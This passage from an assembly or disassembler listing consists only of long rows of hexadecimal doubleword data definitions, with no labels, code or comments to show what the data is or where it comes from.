		dd 9887BAA6h, 0F0E7491Bh, 0A60158E8h, 9474802Eh, 6430444Eh
		dd 78E74965h, 3FADB09h,	5100F0B7h, 9A15E6F7h, 0BDC49E83h
		dd 49A8ED01h, 709259D6h, 2D79A523h, 0A900F3ECh,	54F81A3Ah
		dd 901318EFh, 6E1D0920h, 0C42C4D7Ch, 48CCC88h, 2388282Bh
		dd 0E8C73932h, 1E23328h, 496C7C96h, 23CF363Fh, 8C023E4h
		dd 891395C6h, 0A2ADC890h, 0DC66009Ch, 0F5D07B20h, 75135AC4h
		dd 0F09488E6h, 0C92804C0h, 0DD6C1491h, 0C6010C70h, 8BD9F871h
		dd 38ABF152h, 9FE8C570h, 0E720141Ah, 60F34404h,	0BAFC6C31h
		dd 27529E4h, 18AD7990h,	9B0904CAh, 91445870h, 0C72051D0h
		dd 0FCF4692Ch, 229BA04Fh, 88E741BFh, 0D8B97074h, 59A4B88Ch
		dd 0ED80076Eh, 0E0EB7389h, 9D222650h, 73F9ECB0h, 4CAC2CE8h
		dd 0A7E87990h, 88DF008Ch, 0B3411524h, 35030714h, 0F473693Ah
		dd 40C802A4h, 0D44B729Bh, 0A931F880h, 9EF40D0Fh, 0E202D0B4h
		dd 70CE0AEEh, 0DB581C80h, 0EC9BC96Bh, 0CF66007Fh, 1AB67FAFh
		dd 0A81F1AF4h, 0F2EC0052h, 8C5AB426h, 0B291BD09h, 7D0C4124h
		dd 6F27D980h, 10F75B59h, 3C6A69C0h, 0C762Dh, 255E2CE6h
		dd 4CBFA1A9h, 45374E02h, 0E0A5CA99h, 5ADFBDh, 72399A8Bh
		dd 0A0AA91D3h, 9226237Eh, 160096BBh, 0FDA356D9h, 0AD8B0F2Fh
		dd 9700D855h, 135891BCh, 660098EEh, 852C5EA2h, 72519Ah
		dd 0C56268Bh, 1041AB79h, 275C250Fh, 0A04AC7A1h,	0ABD95313h
		dd 6802C02Dh, 977E050Fh, 0B0521C63h, 0D1F0E4Ch,	4C66D6F9h
		dd 0AFA8FD60h, 25DA002Eh, 0D856F837h, 3A04EC31h, 9DE2BDC2h
		dd 20105CA2h, 0F75AC199h, 8200C66h, 40701805h, 2D606895h
		dd 18EF6130h, 0EC585CA5h, 9B11CBACh, 0E3A9A685h, 31CBB260h
		dd 178FC54h, 0A713AF01h, 7D6C18BBh, 9C174070h, 6F74896Ch
		dd 6067C804h, 25F2BD36h, 0CC962591h, 0BDBEA600h, 4FB6AAC5h
		dd 605804DCh, 0D00A4125h, 48EC1664h, 4857A880h,	0E1E8F88Fh
		dd 11830A8Ch, 16C0BB1Bh, 0FFDC8C47h, 0FBD840h, 0DCF0AEE4h
		dd 0FA75E1CFh, 465EE0B4h, 0F55001CCh, 7ABF5F42h, 4E1C5064h
		dd 0D8B414DBh, 18CA6E8h, 93EB8E03h, 0A0E57B4Ch,	502CB4A0h
		dd 467430F4h, 5B7F0092h, 915C93ABh, 44E70C74h, 21A0A06Fh
		dd 4F51D89Ch, 0EC977F12h, 280F091h, 346D7A2Ch, 77459E01h
		dd 23C67C4Eh, 0CB256822h, 0C101E5E3h, 0A9518EB5h, 0CC6320BCh
		dd 0C53095E2h, 3FA4003Eh, 47CB5976h, 58258CC9h,	0E588929Dh
		dd 61F86470h, 802C2F52h, 44001E22h, 0FF94DFD0h,	3ABE2B4Eh
		dd 54009FF4h, 0F3020FB8h, 0E2175AA2h, 0A404CAF8h, 0DC4EFC64h
		dd 3287EBh, 0C811349Dh,	4757C387h, 0FA909043h, 14B01682h
		dd 2E12D020h, 2DB4FBF5h, 0AC11DC97h, 5522A180h,	0B0BB75EBh
		dd 9C9A7F17h, 0CB1383C0h, 900120A3h, 9BA84ABh, 18329B5Ah
		dd 2066E616h, 84B5D894h, 1FCE749h, 0FE94BDA7h, 0C43891FAh
		dd 59A2A1C0h, 608CA71Bh, 0CAD321EEh, 0EB0501A2h, 80B42869h
		dd 1C0EC888h, 0C0C19E5Ah, 0A4477B5Eh, 64C4B210h, 8E046ECh
		dd 49204A9Fh, 0D0EAF478h, 9200685Bh, 542AC697h,	8AF43CFDh
		dd 0C50D500h, 0E6731C23h, 60A048C0h, 521A3563h,	0F9059824h
		dd 0E5D8F70Eh, 347BE21Ch, 7A2FCAD0h, 5BC304F3h,	0C14F8DBFh
		dd 307750F0h, 0FD12D8C8h, 449EEC6h, 91DC1770h, 1AB980E1h
		dd 9707880h, 0B86F4CE7h, 9DDA1081h, 0A22063F9h,	83E730C9h
		dd 0F5316416h, 0E2526004h, 0ADFAFC04h, 2F76A8C8h, 0D8109DE7h
		dd 2FBFAF7h, 117897DCh,	923C81F5h, 0B034CF54h, 2B771249h
		dd 71800063h, 661D7E13h, 444ACC2Ch, 43DA6201h, 5C487FFBh
		dd 0FA208ABh, 0C1C2571Bh, 0B51D00F9h, 32009CA2h, 22CD60B6h
		dd 28443B88h, 46A8730Ch, 610F0230h, 312E58D9h, 598E10C4h
		dd 6C130061h, 970533E9h, 672FC0B2h, 90F88456h, 52A2A460h
		dd 0C0DF1B21h, 0C2A2C9D6h, 0A52C087Fh, 0DC58001Ah, 9C918460h
		dd 9E18ED71h, 29C32100h, 510258FEh, 470C251Bh, 8F5F782Bh
		dd 5927A24Fh, 8A5849ACh, 0B706147Ch, 0A9E88389h, 5DB4B2Fh
		dd 1CF0DA68h, 72D14579h, 5FA00A0h, 355B4574h, 120FC3Eh
		dd 528B17E5h, 3DB9DB28h, 71390094h, 0F6D99ED2h,	6FC80640h
		dd 51D3F45Fh, 49346900h, 0B9D0905Ch, 9F5600C2h,	0C042AFB4h
		dd 92028CCDh, 5AB030D4h, 0D1016275h, 18CC7968h,	42A405FCh
		dd 0E0CA7767h, 4F201CE4h, 13849695h, 0C8E48B79h, 1651C0A7h
		dd 58B0556Fh, 8BA42205h, 4480F354h, 1E4FEDB3h, 6924FFE6h
		dd 154500A0h, 0DB6D829Ch, 52DE1C07h, 0F190A850h, 1C6B2C97h
		dd 0EFF3018Ah, 0C9912417h, 49A7E280h, 1197EBF3h, 86C469E8h
		dd 1C0B00B2h, 0CA595482h, 7258877Eh, 3226A28Ch,	58AF7C81h
		dd 0AC4E5Eh, 0FF610B20h, 49672F0h, 1AFD704Ch, 105CA808h
		dd 0FF25A564h, 0C0B078E9h, 2A020F9Bh, 52225D1Fh, 54C48165h
		dd 0D000BFABh, 4E5B0BF5h, 7B09605Ch, 0F2702F1Fh, 2F0C28h
		dd 4025A7B2h, 0C7F227FBh, 0A17B69C0h, 0C5B5Fh, 46744281h
		dd 2B66AC54h, 97685302h, 60EF6B1Ch, 4E0D5C3Ch, 0FD842193h
		dd 117C399Fh, 410F639Eh, 483768FBh, 20CFB390h, 0DA233728h
		dd 36808506h, 7DF8283Ah, 12530082h, 0EC04E170h,	78B980DFh
		dd 0A17B30Ch, 0CADE00FDh, 0D5E24862h, 0CD2674A3h, 0BB0E4CC3h
		dd 2FDCC24Eh, 0E984C0E1h, 4C67E40h, 661B019Eh, 0B40B808h
		dd 22C52D70h, 6488E744h, 0FCCDEED8h, 924A801Ah,	6119BC65h
		dd 9223682Eh, 0C3A60038h, 0C939A375h, 0BC1C039Bh, 8DCFDD68h
		dd 3860DBB1h, 8C99BCF0h, 0DA243000h, 80D09E7Fh,	84634C9Ah
		dd 89C01088h, 5B922DBDh, 0B9902C5Dh, 184915Ch, 0DD596586h
		dd 0F1AEDB92h, 3D0D407Ch, 5F058E97h, 0A1B92D69h, 13558840h
		dd 38CB4AFEh, 7FAE52Eh,	1BD39739h, 0C39CD462h, 7C05E41Ch
		dd 0A7906369h, 0A20FBC03h, 0C21CD293h, 0B66480A2h, 2CD6F995h
		dd 80BCB126h, 60ECFBF6h, 0CF04E019h, 2AA55D25h,	54B48081h
		dd 80CD5470h, 4C24FC26h, 0BBAC88FBh, 0FA402001h, 0E84865DCh
		dd 0FCEF195Ah, 0D014591Eh, 0BE5E1A9Bh, 0DC092812h, 0C4546504h
		dd 6B5E60A7h, 0C62416A6h, 96009125h, 78F8C618h,	0DEC7541Ah
		dd 84D060A9h, 0EF19C3A6h, 903FF0BCh, 0F42795h, 986FE120h
		dd 581D331Eh, 90DD8969h, 0FFE2C530h, 0A9176B00h, 0DDCE9513h
		dd 33751F50h, 664F84FBh, 8880CE88h, 4155C0C5h, 0DE00A42Ch
		dd 5130BB7h, 4D94EF58h,	17104C1Bh, 617209D6h, 842C306Dh
		dd 91F417BDh, 0A8D43835h, 4BD8C3Fh, 0D5D2F347h,	3A969CE8h
		dd 39C82328h, 720D6800h, 3F49CDFEh, 8082564Bh, 70847332h
		dd 9F25DA81h, 41204964h, 9230202Eh, 5F0035AFh, 0D03FCFAEh
		dd 49434Fh, 0D68C9FC9h,	32F5C3BEh, 9AB9FC12h, 2B3A9489h
		dd 0F9437C64h, 3246810Fh, 12D3DD21h, 3F84C60h, 0CD471900h
		dd 0ED50474h, 1BE00006h, 0A1C08221h, 54721CC9h,	80C5674Eh
		dd 0C8CEC824h, 0ECC39288h, 8145FBA5h, 54F9334Eh, 805C56F2h
		dd 62877C65h, 0D612F8EAh, 8CB437Ah, 37E4F984h, 78DB3620h
		dd 94C24B5h, 0D07E122Ch, 0CB67607Ch, 8534C800h,	0C6CF811h
		dd 0D37A00BCh, 9FF7FB88h, 0B75DD744h, 0A4653C3Ch, 5A97DCD8h
		dd 0BC1D600Ah, 3AC9515h, 0DDB47A02h, 31309676h,	94698467h
		dd 2866D61Ch, 0FA507820h, 41B960E2h, 0A2391155h, 0EC2E034Eh
		dd 89009923h, 45D9BEF7h, 0C8CC4EC0h, 0CF1F5438h, 0F8C0AA60h
		dd 5192285h, 4D9C38D9h
		dd 750F92h, 4154A923h, 0B5D5525h, 5AC603B8h, 0A9DAF4ABh
		dd 0A851F01Eh, 0D187F77Eh, 0C05F5950h, 7F29FAB4h, 54D5D600h
		dd 44E49CD1h, 940B4C03h, 0FC74407Bh, 82BFA4Bh, 0C2E4F910h
		dd 468C60FBh, 0DE72008Ch, 0CDBF5CC7h, 0FB3C669Fh, 129683CEh
		dd 901D990Ah, 0EE7D01BDh, 249C58DDh, 0D9980B97h, 682C9CC6h
		dd 465E5472h, 1EE67FE2h, 0D50A8F77h, 887B36C9h,	3BB86B40h
		dd 26C000FCh, 99568F5Dh, 0AF013176h, 214A5983h,	0C9804BB8h
		dd 89369357h, 0CD00A247h, 0B3312E6Ah, 0FCE5575h, 0E3D7AA0Bh
		dd 0BBEB5401h, 817C72D1h, 61B5DA8h, 7CA47CE2h, 0BE00CB46h
		dd 0A4B2C315h, 9C0B7AA8h, 2140D890h, 76B9F710h,	414B1C62h
		dd 92FA589Ch, 0F2C4327Fh, 5B3430EFh, 0D290660Eh, 5F798317h
		dd 750EB63h, 6D238670h,	3C00C98Fh, 40FB4F7Ch, 88203C4Ah
		dd 0DCF8AEh, 2A01C424h,	0B95792ABh, 0E71AA800h,	74A3D10h
		dd 5EBC9C0Eh, 0B900FE46h, 0DC758874h, 71C051B8h, 7AD2E168h
		dd 0B7BC034Ah, 762C2416h, 84078BB0h, 6888CE2Fh,	0AE0A9Ch
		dd 74C36D44h, 8F145BFCh, 7C889700h, 0ABEFC612h,	0A14009AEh
		dd 0C8503F8Dh, 465E00B6h, 0C5E007F8h, 0DCE41EA8h, 722578ECh
		dd 0F0C45CE5h, 54401362h, 0E71EA175h, 0C4C17DF7h, 20692758h
		dd 3178A07Dh, 7D11B91Fh, 0B741A763h, 69860070h,	53787BF3h
		dd 0FE02DFE2h, 0E496859Fh, 0E4E5B7h, 0E52F2856h, 0B65DF75Ah
		dd 0F8405098h, 85842FB5h, 0C1EBE0Eh, 0A684A850h, 4E3821B1h
		dd 0CAE10F03h, 26960109h, 0D43C256Bh, 36C481A8h, 1121A3Fh
		dd 0ACBC30DDh, 0D34ACAFAh, 56893422h, 1E348E40h, 7912E982h
		dd 17DBF460h, 84C14F00h, 0B72F4C82h, 0D17D1889h, 0B49331DCh
		dd 815B5427h, 0E8A71BA8h, 0CD877828h, 23A2832Dh, 9B99F1B8h
		dd 751C1DBDh, 0E50814A6h, 8DE70075h, 0CA5D229Fh, 9A84948h
		dd 0F0474C91h, 5CB62DE8h, 5AC0F0C8h, 30411F26h,	0E4909B82h
		dd 0B9D8403Fh, 7080927Dh, 0A7D90049h, 76C75957h, 5AF46910h
		dd 0B926E49Ah, 9B80D4A9h, 0C33B1CCFh, 0ADE1234h, 0D0B0E483h
		dd 9AFA7103h, 2E12910Ch, 2504FC40h, 4418E490h, 20797B0Fh
		dd 0CD81E12Bh, 0A9CC2327h, 2C0600B6h, 97D3D1A2h, 10B51D09h
		dd 0D0ABDD4Ch, 6960448h, 8A32E28h, 2F87BCB6h, 30C0B584h
		dd 26755AC5h, 41641396h, 503EF758h, 41637180h, 7C242126h
		dd 11D8CF04h, 0A2FC4C8h, 0EBFC601Bh, 15B611ACh,	0C0D4F3h
		dd 13BC4898h, 41E489h, 8C0C5743h, 3182C29Dh, 840FB4Eh
		dd 11D93F2Ch, 789B00DEh, 0B0F49D24h, 5F0030BAh,	8553FA69h
		dd 0A0209519h, 0F8F008h, 908BC552h, 0E349C225h,	424A1C00h
		dd 235A17FFh, 83A00110h, 0FB11AA96h, 2613E471h,	79F63B77h
		dd 8E5C6E3Bh, 2016F4CAh, 47087A5h, 0E34400B7h, 6A461C91h
		dd 97609F90h, 29899640h, 0BCF300CCh, 73DC7176h,	0A8C03C72h
		dd 0CA5707Fh, 0A67C16h,	0E0AB868Ch, 5F682A98h, 84CF200h
		dd 35342FAAh, 7A280778h, 0B0EF4830h, 2D9804Dh, 19864B01h
		dd 0C14E187Ch, 188CE7C3h, 0EA46070Bh, 1A10207Ah, 0C5E2D920h
		dd 7637001Ah, 0FEC7485h, 77ED4536h, 0FC669920h,	0D03EBC72h
		dd 3F150034h, 3C083144h, 0C00C0126h, 85DBB6D8h,	81650EECh
		dd 80C4863Ch, 3F011484h, 412AB209h, 22F04367h, 2E0E00D9h
		dd 0A14506C3h, 4D007502h, 0BE73AE6Eh, 2ACAECD1h, 0CA34ED6Ah
		dd 84802C08h, 6B4CE0F6h, 70E7A043h, 11E30763h, 0F9CE3D00h
		dd 4DFB915Eh, 0C96F00D2h, 2B7C80BCh, 0A53D11E5h, 9E8B1464h
		dd 460603F4h, 829F16F9h, 7C0C409Ah, 6B420FD2h, 892C655Ah
		dd 22844A29h, 0DE42ADF3h, 21B67411h, 0AEEA087Eh, 0B584BA90h
		dd 8615EB4h, 0A690AF32h, 48B26784h, 929142B6h, 0EC228224h
		dd 9B10BA11h, 8100C760h, 0E863F505h, 0FEF641ECh, 68F20026h
		dd 1F43A7EBh, 0A000E5C6h, 15478639h, 76313DB1h,	588507E0h
		dd 70A7C00Ah, 431C98A2h, 0C6C97600h, 828C64EBh,	0F85B0090h
		dd 7BFD6965h, 2B0F32E5h, 2B92681Fh, 0D5EE80EEh,	2FF41629h
		dd 0D240F3F2h, 7F01CE42h, 13956A9Bh, 80DB08EEh,	199F5Bh
		dd 8E07F3EBh, 9568A86Bh, 819D3500h, 3CAA47ABh, 0D9F0DCh
		dd 0A5F7F80Ah, 0E81F4680h, 0D700D178h, 527B6DB6h, 1E26EAE7h
		dd 0C03FA3A8h, 90EECC2Bh, 1E1D6622h, 4FC062ACh,	0C338E16Fh
		dd 334A0025h, 46934042h, 21006ED1h, 0F15354C8h,	0F6DEB915h
		dd 0B8D8093Ch, 80A039h,	7FFB2010h, 322EFD00h, 0EDF0828Eh
		dd 9C0100CEh, 197AF936h, 2002BA9h, 2877BABCh, 956968h
		dd 79BE0B5Ch, 7A37DAE6h, 85E99B0Ch, 0CAF44Fh, 0D9B8EEC0h
		dd 0A681EBCBh, 0BD625000h, 774ABCB4h, 60114C36h, 0B5D4D703h
		dd 0C0AC2E96h, 0E73A461h, 8E001A7Fh, 0B100AE9h,	3054A3B7h
		dd 0BA8CD7A6h, 0C318C025h, 8F10D666h, 63960C3Fh, 0B3D8126Bh
		dd 6A41420h, 67C5332Bh,	0F50028C2h, 60E56EE2h, 497D69h
		dd 0FCDA2BAAh, 0B28F0194h, 0E8162626h, 52803D00h, 38BD1474h
		dd 0DCBA3278h, 5DDE5783h, 12D8352Ah, 1403AAA1h,	70E7585h
		dd 66C68015h, 6281007Eh, 0AD84E5FAh, 0B3FC32BCh, 802B1F07h
		dd 7F90D311h, 12468FCh,	417995D7h, 0F8AFDDD8h, 0CA004662h
		dd 0ED60B6EBh, 71F4A1EAh, 6F0002Bh, 204A76C8h, 2A001673h
		dd 27AEC346h, 0F4E87F94h, 9F5000AAh, 0B4FD4A6h,	0ED076345h
		dd 39A41832h, 0C2F0A5B7h, 0EB2C05h, 0B66A3D40h,	5B9CCC44h
		dd 0F8672601h, 57B57BF4h, 2876A6E8h, 39CC07D9h,	6C0082BAh
		dd 0F0170438h, 890081BFh, 0D4231B1Dh, 0AF98CCh,	0DF0657B7h
		dd 279EF945h, 781A9A24h, 0F2C1ED87h, 897900AFh,	6B572Eh
		dd 0E98621A7h, 206E6124h, 984FF607h, 0C5F5F503h, 0A07E9C02h
		dd 44C0A016h, 0EAB87F73h, 9C1E0071h, 686D0BEAh,	0D1EE404h
		dd 5BDEE332h, 0D310B740h, 0C82C51h, 0FFD04A8Bh,	3E304682h
		dd 1396E3Eh, 0F0FC757Bh, 5020D152h, 914E06BEh, 10D068BDh
		dd 43CAE504h, 0ADC0D5FCh, 74403381h, 0BF0F0276h, 17C15B4Ah
		dd 0D2015442h, 0D4876E69h, 9E00DE85h, 7E1B3BFh,	0E92B67h
		dd 9D8003CFh, 95348B3Dh, 508C7018h, 71EA18D8h, 4EAD00ECh
		dd 0E5313A66h, 833EC397h, 2C87Eh, 58C52CABh, 4C8B2632h
		dd 9B0E5244h, 6740DD97h, 0F1C8C3BCh, 0B2EE9A00h, 0E3335B6Dh
		dd 9511027Dh, 1FB7A9BEh, 2ADD7040h, 0A37F8C01h,	0A5B95493h
		dd 8F6A60h, 0FDD324B8h,	630960F8h, 4E036F73h, 7A8C5088h
		dd 78B80423h, 908A0A8Fh, 0B59A4D18h, 0EC258201h, 5D971974h
		dd 36A820h, 417D8B24h, 0D6C40559h, 76BA3D00h, 0D72A8652h
		dd 0D43F1FE1h, 0FE1CC090h, 745183D0h, 0CC6A4301h, 0A6F4F10Bh
		dd 0DEFC4BE9h, 262074D6h, 1BCDC2Ah, 904FA7A8h, 67ADD86Ch
		dd 5E911004h, 890148Eh,	4750BAh, 0D18C5361h, 34F66D7h
		dd 41C9C2Ch, 0DCC06E00h, 95827Ah, 0F96A1B73h, 0E2FEA7DEh
		dd 180C3F24h, 8247CD07h, 0E74851A0h, 0F9F203F0h, 0B2DD0566h
		dd 20CFB1FBh, 1E9AA93Eh, 216833Dh, 810C40F7h, 0DE1440DDh
		dd 21C60E54h, 0E449278Eh, 0AD50F480h, 0DB0FA435h, 406C4A2Ah
		dd 0DF942130h, 0BCA207F6h, 7066EF57h, 0CA2B5D73h, 86016D00h
		dd 5BF11B6Ah, 0FE3001A7h, 0E60A9F5Eh, 0EE95206Fh, 0C000407Dh
		dd 0A5EF969Bh, 3AD00C6Eh, 42BFA687h, 0D3E21580h, 0B4928A74h
		dd 29025200h, 30ECA03Eh, 1F0C7C37h, 685F3DDEh, 6E7CD8h
		dd 41BBEF54h, 0F50E62EEh
		dd 8A4E831Ch, 0D9CCF280h, 0A0489C27h, 8C6D3h, 2B5E99DAh
		dd 0AFD23462h, 6BAECC02h, 8E06545Dh, 0DED49EF5h, 0E19005D8h
		dd 948092E7h, 1C552ECBh, 0C07F3D74h, 9D138C18h,	2D0A8A7Dh
		dd 0A048C3C1h, 9C60F01h, 860D28Fh, 691700F3h, 52A5D56Fh
		dd 0DB0B0ECCh, 417F97h,	0D9C8042Ch, 0E738C243h,	0AC800561h
		dd 7DC726B6h, 0ACA73B01h, 0DA5A1758h, 3C6B9DECh, 96000D05h
		dd 68497750h, 0FC00F33Ah, 9252187Fh, 77994D39h,	1DD900B5h
		dd 5380099Bh, 0F2008941h, 0C3EBCDE2h, 0EDCCF8h,	5D236858h
		dd 0DC5C5718h, 3E9DDF1Ch, 62D81D81h, 0A0804650h, 9115D122h
		dd 3A988E1Bh, 9472E90Eh, 0C4057224h, 77C0A630h,	3F7844Dh
		dd 9149C4F3h, 4FE84E5Fh, 0F90D427Ch, 31B4E422h,	7FD6C0h
		dd 3023DCE9h, 3E25BB8Fh, 0B0D5A700h, 82429857h,	16F33865h
		dd 0A04F4680h, 49E1F4D8h, 665B5D01h, 0EF2709CFh, 0E54B8F8h
		dd 6A037381h, 9AC58E7Fh, 8056D665h, 0BDC62544h,	4EF5440Eh
		dd 0BA02A015h, 982662B7h, 4C307ACCh, 228098DAh,	0B2D2121Dh
		dd 5E198B0Bh, 0C490A020h, 3D6F61F4h, 4180B0C1h,	51D8570Fh
		dd 0E200AEF5h, 0A616D41Dh, 0DDF2C8h, 262C242Fh,	8F76019Ah
		dd 0BE045C00h, 53CE7DB8h, 929D00B4h, 27B75641h,	6D001F07h
		dd 0E349FE0Ah, 5AA511h,	0E92D4F28h, 6184D2D9h, 0D06E2700h
		dd 4DEFCCF7h, 74770188h, 0DCEC6D26h, 4541E0CAh,	0AC3DB900h
		dd 20A42FFEh, 2BBF037Ch, 0BC5AA1AAh, 7AEA64B8h,	23E44802h
		dd 0D74B91B6h, 8978A3C1h, 18974018h, 0E4F6F020h, 96B40051h
		dd 56629F48h, 8F022EF1h, 5F3AA46h, 91934067h, 0A59800EAh
		dd 0E8EF1A81h, 1D00632Dh, 5C68BA8Ah, 394803Eh, 5B3111E0h
		dd 70971FAAh, 98F56BA2h, 40003892h, 0D9F39B89h,	48545B67h
		dd 91007CCEh, 0BCE4C62Eh, 17E03582h, 88A3780Bh,	2CD30F0Ah
		dd 26A556B4h, 80B4AAE6h, 0FC8164Fh, 0A407F298h,	0F1234881h
		dd 5A88B5A0h, 7EFEC1h, 0F9AF12AEh, 6226AA2Dh, 6418300h
		dd 8CD87BF3h, 39D60ADDh, 1C88659Ah, 715709A4h, 0DAC3A8A0h
		dd 0CA1D2F56h, 0CC26698Bh, 26755380h, 0F2A03B5h, 0CF8EFDB3h
		dd 87DDC280h, 0AF00AA4Fh, 0A3900549h, 0E67AF509h, 0C459016Ch
		dd 0E6C88AEDh, 62667001h, 0B5FD3300h, 5832E472h, 0BAC40086h
		dd 26E998DDh, 51429A0h,	8C34D1h, 4D3B4C7Dh, 785C18EFh
		dd 0E375000Eh, 1EA02A88h, 2C9424F2h, 1C97B801h,	1874C1D0h
		dd 0C79901EFh, 0D98E5189h, 0F1BA30D7h, 45A7A600h, 0C54CA0A3h
		dd 94B100EBh, 0F3370E1Eh, 2F183FCFh, 5F78D6F7h,	4B310E42h
		dd 0EC01C01h, 0A51784DCh, 90B20C25h, 8DF718h, 0FF7487E8h
		dd 47996E60h, 7DAB040Ah, 9009823h, 0C1C7A154h, 5A2F09EDh
		dd 0CE01D740h, 80C2711Ch, 0B05EAE68h, 0E33E710h, 37C5F723h
		dd 415591A7h, 706B0CC8h, 4A0E7A4Fh, 4C73AF54h, 72C3847h
		dd 0FF3657D6h, 82A470FBh, 9C79958Eh, 9835C300h,	6459D314h
		dd 2A32004Dh, 5571B71Ah, 0B5002FB3h, 0ED9004FAh, 30F1379Ah
		dd 0EFD8139Ch, 0F91ECC89h, 6C0F1086h, 0C131600Dh, 1AC2F8Fh
		dd 2BB2A057h, 2867B4CFh, 0F6C600A8h, 0A1A747EBh, 0DC30075h
		dd 9541D3CBh, 770EBB14h, 0FF7C165Fh, 1F90D754h,	0EB806D6Ch
		dd 381CD1F0h, 3BBF39ABh, 5D913480h, 7C55A498h, 0DBAC2C00h
		dd 0C180DCDAh, 35D4A04Eh, 7A6816EEh, 0CC4009Ah,	65F11E3Bh
		dd 204DD730h, 3D3813h, 0B991E0E1h, 2C1D897Ch, 27853000h
		dd 0C7349CB1h, 0EB4E0410h, 8065C1BFh, 78D33784h, 0F505DE09h
		dd 0C0880E3Ch, 0D5487124h, 0BE8101D4h, 0E995C9E0h, 28B8D1D1h
		dd 63F3100Ch, 1980DACBh, 0D310A370h, 55976400h,	190DC51h
		dd 0E449013h, 958759AFh, 1EC750CEh, 0B69A00B9h,	0A0ED4CDh
		dd 4B18AA75h, 0B007D0Fh, 961BE3E8h, 0D5040200h,	25603D9Dh
		dd 0CA62026Ah, 0B5204CABh, 0EAE969C0h, 0DA2C700Bh, 98B000CFh
		dd 7143923Fh, 0AA4505A2h, 80629A84h, 81D61AA4h,	0CA4E111Fh
		dd 9DB5C6C0h, 2A4C0364h, 1F4148Ah, 2824DCBEh, 341F06BBh
		dd 1D638C38h, 0E09C2EF0h, 10DBD79h, 833790C1h, 0C2CA0CAAh
		dd 602D20E8h, 80A9223Ah, 0E77CF616h, 2D24593h, 69EB3A9Eh
		dd 0D0708B1Eh, 0E0137576h, 38006390h, 727FAB1Ch, 0F86F004Eh
		dd 39E79922h, 3700A3ADh, 14BDFCDFh, 907A52A7h, 591C18B8h
		dd 0C7B388F2h, 89CF3600h, 0D466A338h, 0E3BB00B4h, 597BA2B5h
		dd 6A729BA8h, 7394E407h, 0C0CFAAD0h, 0E3748A80h, 95B22C16h
		dd 756600C4h, 0CEFBE94Dh, 79658600h, 5564A1E8h,	7E103BBBh
		dd 2ECAF780h, 99F1FC82h, 2C211200h, 85B42890h, 4F9D00B9h
		dd 0C307A198h, 0E9001A32h, 99884647h, 11B7CBBh,	0D53150B7h
		dd 0C03F2876h, 0FB797795h, 0D2E2EC00h, 42F4EF57h, 73723C7Ch
		dd 35860176h, 3783F367h, 0CCBE3176h, 0D50079E2h, 1195575Ch
		dd 36AFF0h, 0BF7FE954h,	4A38BC15h, 0D98D0500h, 0CCC4510Dh
		dd 619558F7h, 1E743E7Ah, 0DE8089BDh, 0E35DBBF5h, 2CB8F0D1h
		dd 6C6A420Eh, 0EF2C0004h, 9987EBh, 0B237561h, 0B7E0E70Ch
		dd 2E4F8F00h, 0E6D17DD7h, 62D2002Fh, 8211A763h,	91041AE9h
		dd 20714172h, 86304CD1h, 0E8266901h, 0BD021AFBh, 53B2F667h
		dd 8EAF427Fh, 1B6B205Ch, 0B43879h, 0EC686FB7h, 9DA282FFh
		dd 8741EA00h, 6281FB21h, 0B08A00EFh, 0E5094F71h, 45005A0Eh
		dd 225EFCB7h, 0C0B9FA2Eh, 0C68BC710h, 0DE00D32Dh, 0C3356F67h
		dd 26BC7Dh, 0C4BECBFAh,	0D26D1BD1h, 83F55F07h, 9E30A927h
		dd 8AF08Fh, 0E3194479h,	0E1D6942Eh, 912A1A00h, 502CEC80h
		dd 9FA70AE4h, 80D4F2EDh, 8D1D1B23h, 70EDA3FEh, 3600F5ECh
		dd 70B74435h, 1EB2E214h, 80C22A54h, 0ADAA2EA2h,	17EA9739h
		dd 0CBE4B3FEh, 0BC271E24h, 0E7000C1Dh, 48F82194h, 4BB5000Dh
		dd 0C12A99CAh, 80007407h, 18F3ED1Eh, 58F4Eh, 0BEF0E3F1h
		dd 291F9F81h, 0E5DB3E00h, 4DB9BB93h, 0E962095Ch, 0B88003F1h
		dd 91460F9Bh, 0C56088B1h, 38AE23B1h, 5C85DB0Ch,	0AB7510h
		dd 5482CACCh, 62002FDCh, 447155ADh, 0D09DE0h, 5A57CD12h
		dd 0FB36958Dh, 0EC25DA00h, 0CEC510BFh, 8761002Dh, 0E970F73h
		dd 0BC079EAAh, 1C18F172h, 5823FB10h, 9FB801AFh,	3A2F21E8h
		dd 3007D9ACh, 96011E65h, 0EBA3F4DEh, 14F0E6AEh,	2F053891h
		dd 0A6972B80h, 0ACECBE5Bh, 3F1F8C01h, 0B0CD2A2Dh, 6250AC47h
		dd 5BD74B9h, 695DB212h,	98E0A4FFh, 460EB8F4h, 40FCE4D3h
		dd 856318Ch, 0BC1F70EEh, 468200A4h, 0BB12F527h,	0AA6C8A01h
		dd 3FF83935h, 0F00206Dh, 0F4368E2Fh, 0CF0B12F2h, 911DB9h
		dd 0C77E9F0h, 0C71400B8h, 0A2FBE265h, 4E4C3653h, 3803F6Ch
		dd 79E58ECBh, 0A98FC89Eh, 5499095Dh, 0F4805EBEh, 0ED70BFE0h
		dd 0D2EE980Eh, 677EE04Ch, 0DD453Ah, 0B3EAB2B0h,	0C7EBCA1Eh
		dd 68540100h, 7B95694Bh, 6BDF09FDh, 0BE78073Bh,	12CE748h
		dd 63D2998h, 0F97086D6h, 0A5A0008Ah, 7AF8DF46h,	4900451Ah
		dd 2D52FFBAh, 6E868Fh, 0FDDCE8D3h, 0B1BC4E0Eh, 3D00BCB0h
		dd 0FAE9CD89h, 65CC0h, 0C114E27Fh, 0D8BC60BEh, 32D76400h
		dd 834E2002h, 356EC057h, 0A06D8178h, 4700B4EEh,	0C763B140h
		dd 383DECE1h, 0BB002797h, 19EF8160h, 7D00132Eh,	849DD4A1h
		dd 72B412h, 4E5EA1Bh, 0FEC1AE65h, 63A3E800h, 0FCF424AAh
		dd 7AA5003Ch, 3ACE1B2Bh, 801C88Eh, 4B32DD66h, 6DC46353h
		dd 2AE32ED1h, 0F2708038h
		dd 0C89EC37Ch, 831D5800h, 1AD432ACh, 9BEB09AFh,	80A10C51h
		dd 0E86D1071h, 0AD3C2AB4h, 96078068h, 0C7D64D79h, 1AD900F6h
		dd 40F92027h, 7B00A1A3h, 0FAEC3AC9h, 69BB18h, 0F7399067h
		dd 639552E4h, 11C8470Eh, 914E60FFh, 7D3427Fh, 2BC7FE2Ch
		dd 9E405056h, 0B04B2472h, 9D0C7800h, 73A11Ah, 12DE3235h
		dd 2B709E3Dh, 0DC3C16FEh, 79950022h, 81139FF1h,	8D7E0364h
